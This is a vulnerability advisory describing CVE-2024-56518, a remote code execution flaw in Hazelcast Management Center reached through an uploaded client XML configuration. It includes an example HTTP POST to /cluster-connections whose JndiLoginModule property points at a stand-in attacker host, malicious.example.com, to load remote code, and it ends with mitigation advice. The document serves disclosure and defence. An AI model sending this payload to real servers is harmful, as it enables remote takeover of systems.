CVE-2024-56518: A Critical Remote Code Execution Vulnerability in Hazelcast Management Center

Overview

The Common Vulnerabilities and Exposures (CVE) system has recently identified a significant security vulnerability, CVE-2024-56518, which affects Hazelcast Management Center versions up to 6.0. This vulnerability is particularly alarming due to its high CVSS Severity Score of 9.8 and its potential to allow unauthorized remote code execution.
The vulnerability affects developers, system administrators, and users of Hazelcast Management Center, a system designed to monitor and manage Hazelcast data systems. Given the widespread use of Hazelcast systems in various industries, the repercussions of this vulnerability are potentially enormous, making it a cybersecurity issue of high importance.

Vulnerability Summary

CVE ID: CVE-2024-56518
Severity: Critical (9.8)
Attack Vector: Network
Privileges Required: None
User Interaction: None
Impact: Potential system compromise and data leakage

Affected Products

Product | Affected Versions

Hazelcast Management Center | Up to 6.0

How the Exploit Works

The exploit takes advantage of a weak spot in the JndiLoginModule user.provider.url within a hazelcast-client XML document, also known as a client configuration file. A malicious actor can upload this manipulated client configuration file at the /cluster-connections URI. Once uploaded, the manipulated XML document enables the attacker to run arbitrary code remotely, potentially leading to system compromise or data leakage.

Conceptual Example Code

Here is a conceptual example of how the vulnerability might be exploited:

POST /cluster-connections HTTP/1.1
Host: target.example.com
Content-Type: application/xml
<hazelcast-client>
<network>
<connection-strategy async-start="true" reconnect-mode="ON"/>
<smart-routing enabled="true"/>
<cluster-members>
<address>localhost:5701</address>
</cluster-members>
<outbound-ports>
<ports>0</ports>
</outbound-ports>
</network>
<security>
<client-login-modules>
<login-module class-name="com.hazelcast.security.loginimpl.JndiLoginModule" usage="REQUIRED">
<properties>
<property name="user.provider.url">http://malicious.example.com/exploit</property>
</properties>
</login-module>
</client-login-modules>
</security>
</hazelcast-client>

This example demonstrates how a malicious actor might insert a harmful URL in the `user.provider.url` property of the `JndiLoginModule`, effectively exploiting the vulnerability to execute arbitrary code.

Recommendations for Mitigation

The best course of action to mitigate this vulnerability is to apply the vendor patch as soon as it becomes available. As a temporary measure, users can also employ a Web Application Firewall (WAF) or Intrusion Detection System (IDS) to monitor and block potentially harmful traffic. As always, it is essential to maintain good cybersecurity hygiene, including regular system updates and audits, to prevent similar vulnerabilities from being exploited in the future.